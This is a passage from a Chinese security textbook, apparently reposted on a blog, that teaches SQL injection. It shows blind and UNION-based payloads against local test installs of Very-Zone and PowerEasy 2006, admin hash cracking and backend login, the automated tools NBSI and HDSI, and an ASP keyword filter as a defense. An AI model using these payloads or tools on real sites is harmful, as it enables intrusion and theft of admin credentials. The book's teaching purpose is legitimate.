http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Top 1 * from Admin Where Mid(UserName,1,1)= ‘a’) >0

页面正常显示,第1位用户名是字母“a”。

http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Top 1 * from Admin Where Mid(UserName,2,1)= ‘d’) >0

页面正常显示,第2位用户名是字母“d”。

http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Top 1 * from Admin Where Mid(UserName,3,1)= ‘m’) >0

页面正常显示,第3位用户名是字母“m”。

http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Top 1 * from Admin Where Mid(UserName,4,1)= ‘i’) >0

页面正常显示,第4位用户名是字母“i”。

http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Top 1 * from Admin Where Mid(UserName,5,1)= ‘n’) >0

页面正常显示,第5位用户名是字母“n”。

到这里,管理员的用户名被猜解出来,即“admin”。

验证是否准确:

http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Top 1 * from Admin Where UserName= ‘admin’) >0

页面正常显示,用户名“admin”存在。

接下来猜测密码:

http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Top 1 * from Admin Where Len(Password)=16) >0

页面正常显示,管理员的密码长度是16。

http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Top 1 * from Admin Where Mid(Password,1,1)= ‘7’) >0

页面正常显示,管理员的第1位密码是7。

http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Top 1 * from Admin Where Mid(Password,2,1)= ‘a’) >0

<DIV>

图1-23  登录界面

</DIV>
页面正常显示,管理员的第2位密码是a。

……

http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Top 1 * from Admin Where Mid(Password,16,1)= ‘e’) >0

页面正常显示,管理员的第16位密码是e。

至此,密码被猜解出来,即“7a57a5a743894a0e”,这是字符串“admin”用MD5算法加密后的结果。

以用户admin,密码admin登录后台,登录界面如图1-23所示。

管理员的用户名和密码正确,成功进入后台,如图1-24所示。

图1-24  进入后台

本节通过Very-Zone个人互动门户管理的Asp系统的SQL注入漏洞演示了如何利用漏洞获取管理员的用户名和密码,这是相当常见的手法。

1.1.7  动易商城2006 SQL注入漏洞代码分析

动易商城是一个在网上很知名的ASP信息发布及商品交易程序,这个程序有免费版本,从网上下载该程序来安装。下载程序的压缩包解压后的PowerEasy2006.exe文件是安装程序,直接双击它运行安装程序。

直接安装后的动易商城不可用,访问结果如图1-25所示。

图1-25  访问结果

需要安装动易的组件,安装程序是PE2006_DLL.exe。双击即可安装,安装时在图1-26所示的对话框中清除“停止IIS服务”和“重启IIS服务”复选框;否则IIS可能会无法使用。

图1-26  “选择组件”对话框

因为安装在C:\Inetpub\wwwroot\PowerEasy中,所以应该通过 http://127.0.0.1/powereasy/
index.asp来访问,打开的页面如图1-27所示。

图1-27  打开的页面

网上关于这个程序最新漏洞的描述如下:

<DIV align=center>

动易2006最新漏洞公告

— 漏洞文件:网站根目录下Region.asp。

— 漏洞等级:严重。

— 影响版本:所有版本(包括免费版、商业SQL版及Access版)。

— 漏洞描述:此漏洞主要通过Region.asp存在的注入漏洞,以获取系统管理员权限,并通过修改系统设置上传木马程序进而控制整个动易系统。特别是对于SQL版的系统会造成严重的后果。

— 解决方案:使用更新补丁包中的Region.asp文件覆盖原文件。

</DIV>

NewComment.asp文件用来显示用户评论,调用该文件需要添加评论,然后才能测试这个漏洞。

相关知识

Request()函数:ASP程序中的常见函数。可用来根据参数名取得客户端提交到服务器的参数。调用形式如下:

Request(“参数名”)

其中的参数名为要取得的参数名,这些参数从网页提交。如前一节例子中提交的http://127.0.0.1/login.asp?name=admin&pass=admin中有namepass两个参数。如果程序要取得name参数的值,应该在程序中编写如下代码:

Request(“name”)

如果要取得pass参数值并保存在aaa变量中,代码如下:

aaa = Request(“pass”)

Trim()函数:用来删除字符串前后两边的空格。在处理字符串数据时经常会用到,调用形式如下:

Trim(字符串)

函数会返回删除两侧空格后的字符串,比如:

Str1=“   你好!      ”

Str2=Trim(Str1)

<DIV style="BORDER-RIGHT: medium none; PADDING-RIGHT: 0cm; BORDER-TOP: medium none; PADDING-LEFT: 0cm; PADDING-BOTTOM: 1pt; BORDER-LEFT: medium none; PADDING-TOP: 0cm; BORDER-BOTTOM: gray 0.75pt solid">

执行以上语句之后,字符串变量Str2的内容是“你好!”。

</DIV>

首先要确定漏洞在何处,用文本编辑器打开Region.asp。目标确定在Province这个变量上,代码如下:

Province = Trim(Request.QueryString("Province"))

该语句取得Province参数值并保存在Province变量中,而后继续查看下面的代码:

……

Call OpenConn

Set TempRs = Conn.Execute("SELECT Country FROM PE_Country ORDER BY Country")

……

Set TempRs = Conn.Execute("SELECT DISTINCT City FROM PE_City WHERE Province=' " & Province & " ' ")

……

ReDim ShowCity(0, 0)

……

这段代码直接从客户端接收Province参数并赋值给Province变量,直到加黑的语句调用它。即将其放到SQL语句中执行,并且把查询到的数据放到页面的下拉列表框中显示。没有经过仔细过滤而使用用户提交的数据显然是一个SQL注入漏洞,因为通过提交特殊的数据可以让服务器执行一些特殊的SQL语句。

SQL语法

UNION联合语句:合并多条语句查询的结果,如:

SELECT * FROM A UNION SELECT * FROM B

<DIV style="BORDER-RIGHT: medium none; PADDING-RIGHT: 0cm; BORDER-TOP: medium none; PADDING-LEFT: 0cm; PADDING-BOTTOM: 1pt; BORDER-LEFT: medium none; PADDING-TOP: 0cm; BORDER-BOTTOM: gray 0.75pt solid">

这条语句的作用是查询表A中和表B中的所有数据并合并在一起。假如查询结果的数据是李四,则用UNION把两条查询的结果合并,结果是张三和李四两项数据。

</DIV>

这个漏洞的特点是把查询结果显示在下拉列表框中,这样通过精心构造的SQL语句可能让页面直接在下拉列表框中显示管理员的账号和密码。

首先尝试提交Province参数并且在数据后面加单引号让页面出错,提交:

http://127.0.0.1/powereasy/Region.asp? province=a'

出错的页面,如图1-28所示。

图1-28  出错的页面

说明提交的单引号被放到SQL语句中。把数据代入到代码中形成如下SQL语句:

SELECT DISTINCT City FROM PE_City WHERE Province=‘a’

能控制的部分是“a’”。如果要正确显示页面,必须删除后面的单引号,即:

SELECT DISTINCT City FROM PE_City WHERE Province=‘a’  and ‘a’=‘a

可以在数据中插入一个查询语句来查询密码,为此要用UNION语句。

首先查看动易的数据库结构,管理员的用户名和密码放在数据库的PE_Admin表中,AdminName是用户名字段,Password是管理员密码字段。要查询管理员用户名的SQL语句如下:

Select AdminName From PE_Admin

用UNION语句将其整合到原来的语句中,即:

SELECT DISTINCT City FROM PE_City WHERE Province=‘a’  Union Select AdminName From PE_Admin Where ‘a’=‘a’

加黑部分是要提交的数据,根据其构造的URL为:

http://127.0.0.1/powereasy/Region.asp?province=a' Union Select AdminName From PE_Admin where 'a'='a

提交这个地址,可以在“市/县/区/旗”的下拉列表框中看到用户名,如图1-29所示。

其中显示的管理员的用户名是“admin”。如果要查看管理员密码,只要把字段名改为密码字段名。构造的URL地址是http://127.0.0.1/powereasy/Region.asp?province=a' Union Select Password From PE_Admin where 'a'='a。如图1-30所示,可以看到密码是469e80d32c0559f8。

  

图1-29  用户名                             图1-30  管理员密码

这是加密过的密码,在管理员登录时页面加密用户提交的密码后与数据库中的密码比较。

动易使用的是MD5加密方式,所以应该用一个MD5解密器来解密。这里推荐使用MD5 Crack,它是一款国产的多线程MD5解密器,解密速度很快。

打开如图1-31所示的MD5 Crack对话框,粘贴“469e80d32c0559f8”“破解单个密文”到文本框中,在“字符设置”选项组中选择可能用到的字符,也可以在“自定义”文本框中定义。因为一般情况下,用户密码不会有标点符号或特殊符号,所以为了节省时间,只选择“数字”、“大写字母”和“小写字母”复选框,还可以设置密码可能的长度和破解密码的线程数,线程数越大,破解速度越快。如果超出机器的承受能力,多线程反而会拖慢破解速度。

图1-31  MD5 Crack对话框

单击“开始”按钮,经过一段时间的等待后,破解的密码显示在右下角的文本框中,即admin888。尝试使用这个密码登录后台,如图1-32所示。

登录成功,说明破解密码成功,如图1-33所示。

  

图1-32  登录后台                          图1-33  登录成功

至此,已经获得超级管理员的权限。入侵者可以删除网站的数据,也可以在网站发布任何信息,包括诱使网站的浏览者进入插入了木马的网页,其危害非常大。

1.1.8  常见的SQL注入漏洞检测工具

本节介绍一些常见的注入工具,利用它们可以减少猜解数据所花的时间和精力。

1NBSI

NBSI是NB联盟的小竹编写的一款SQL自动注入工具,其功能非常强大。可以扫描注入点、自动猜解数据内容、分析IIS日志,并自定义关键字字典。其界面如图1-34所示。

图1-34  NBSI界面

把漏洞地址http://127.0.0.1/veryzone/announce.asp? id=16输入到 “注入地址”下拉列表框中,然后单击“检测”按钮。没有检测到漏洞,“检测”按钮的标题变为“再检测”。这是因为漏洞页面在附加条件不成立时没有内容,所以NBSI不能自动判断结果。在“特征字符”文本框中输入在条件成立时的页面中,条件不成立时没有的字符串,程序可以通过返回的页面有无“特征字符”来判断检测结果,如图1-35所示。

 

图1-35  检测结果

如图1-36所示,在“特征字符”文本框中输入hero字符串,单击“再检测”按钮。

图1-36  特征字符

程序已经确定网页存在漏洞,这时“检测”按钮不可用,下面的“猜解表名”按钮变为可用。

如图1-37所示,单击“猜解表名”按钮,会提示“数据库类型为ACCESS,系统将启用字典进行猜解。如果字典文件比较大,会花费较长的时间,您确认进行猜解?”。

图1-37  NBSI提示信息

单击“确定”按钮,就会看到如图1-38所示的结果。

图1-38  结果

稍候,在“已猜解表名”列表框中显示Y_admin,这是程序判断的数据库中有admin表。单击该表名,“猜解列名”按钮变为可用。单击该按钮,程序会猜解admin表中的列名,如图1-39所示。

图1-39  猜解admin表中的列名

稍后,“已猜解列名”列表框中显示Y_id、Y_username和Y_password,说明admin表中有id、username和password这3个字段存在。

选择字段名复选框,“猜解数据”按钮变为可用。单击“猜解数据”按钮,程序开始猜解这3个字段的数据内容,如图1-40所示。

图1-40  猜解字段的数据内容

稍后,在“已猜解记录”列表框中显示一条记录,单击它会在下面的列表框中显示详细的数据内容:

[id]:8 [username]:admin [password]:7a57a5a743894a0e

用户名是admin,密码是7a57a5a743894a0e破解该密码的结果是admin。

2HDSI

HDSI是教主(网络ID)开发的一款免费的网页安全性能检测工具,其中集成多种功能,是一个SQL注入利器。

该工具可以自动扫描注入点、注入猜解数据内容、扫描网站后台登录地址,以及对PHP进行注入。如果漏洞页面使用SQL Server数据库,还可以让服务器执行DOS命令并上传asp木马文件。其界面如图1-41所示。

进入“注入分析”页面,在“注入地址”文本框中输入漏洞地址http://127.0.0.1/veryzone/announce.asp?id=16选择“使用关键字”复选框,在“关键字”文本框中输入“hero”。单击“开始”按钮,就开始检测漏洞。

程序提示检测完毕,如图1-42所示。单击表名下方的“猜解”按钮,程序提示“启动ACCESS数据库猜解,也许要多花点时间,是否继续猜表?”。单击“确定”按钮,程序开始猜解表名。

图1-41  HDSI界面

图1-42  猜解ACCESS数据库

稍候,“已猜解表名”列表框中显示admin表。单击表名,然后单击列名下的“猜解”按钮开始猜解列名。然后猜解数据库中的记录,如图1-43所示。

类似的工具还有阿D注入工具、CSC、WED及Domain。Domain是一个旁注工具,旁注是注入技术中的一个分支。其入侵的基本思路是网站的服务器一般会有多个网站,如果在目标网站上找不到注入漏洞,可以尝试入侵同一台服务器中的其他网站。如果通过其他网站中的漏洞控制服务器,相当于得到了这个网站的控制权。

 

图1-43  猜解数据库中的记录

1.1.9  如何防御SQL注入攻击

对于一个网站来说,SQL注入漏洞的危害是巨大的。

SQL通用防注入系统的思路是把提交到页面的所有数据都过滤一遍, SQL注入提交的数据的特征是会有SQL语句及一些SQL语言的关键字,比如“AND”、“UNION”及“SELECT”等字符串。只要在数据中有这些字符串,即可判定为SQL注入行为,而不会把这个数据作为SQL语句。

以下是笔者根据这个思路模仿SQL通用防注入系统编写的代码:

<%

'--------定义部分------------------

Dim FangZhuPost,FangZhuGet,FangZhuIn,FangZhuInf,FangZhuXh

'注释:自定义需要过滤的字串,用 "|" 分隔,如果读者发现遗漏,可以加上

FangZhuIn = "'|;|and|(|)|exec|insert|select|union|delete|update|count|*|%|chr|mid|master|truncate|char|declare"

     

FangZhuInf = split(FangZhuIn,"|")    ’注释:把非法字符串用“|”分割出来

'--------POST部分------------------

If Request.Form<>"" Then

  For Each FangZhuPost In Request.Form     ’注释:循环取得提交的参数

    For FangZhuXh=0 To Ubound(FangZhuInf)    ’注释:全部转换成大写

      If Instr(LCase(Request.Form(FangZhuPost)),FangZhuInf(FangZhuXh))<>0 Then

      ’注释:如果在数据中有非法字符串

        Response.Write "<Script Language=JavaScript>alert('请不要在参数中包含非法字符尝试注入!');</Script>"

       

        Response.End

      End If

    Next

  Next

End If

'----------------------------------

 

'--------GET部分-------------------

If Request.QueryString<>"" Then

  For Each FangZhuGet In Request.QueryString

    For FangZhuXh=0 To Ubound(FangZhuInf)

      If Instr(LCase(Request.QueryString(FangZhuGet)),FangZhuInf(FangZhuXh))<>0 Then

        Response.Write "<Script Language=JavaScript>alert('请不要在参数中包含非法字符尝试注入!');</Script>"

       

        Response.End

      End If

    Next

  Next

End If

%>

把这些代码保存在一个ASP文件中,比如fang.asp,并放在要防护的页面文件目录下。在要防护的页面开头加入一句<!-- #include file=“fang.asp” -->,保存并退出。

在浏览器中提交http://127.0.0.1/veryzone/announce.asp? id=16 and 1=1,显示如图1-44所示的提示框。

图1-44  提示框

如果参数中没有非法字符,页面可以正常显示,如图1-45所示。

图1-45  页面正常显示

这样可以杜绝SQL注入漏洞,不过这不是万全之策。因为这个代码是“通杀”的。即用户确实需要输入的一些数据会被作为非法字符串处理,这种情况目前还没有更好的办法来解决,只能让用户输入其他字符串来代替。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值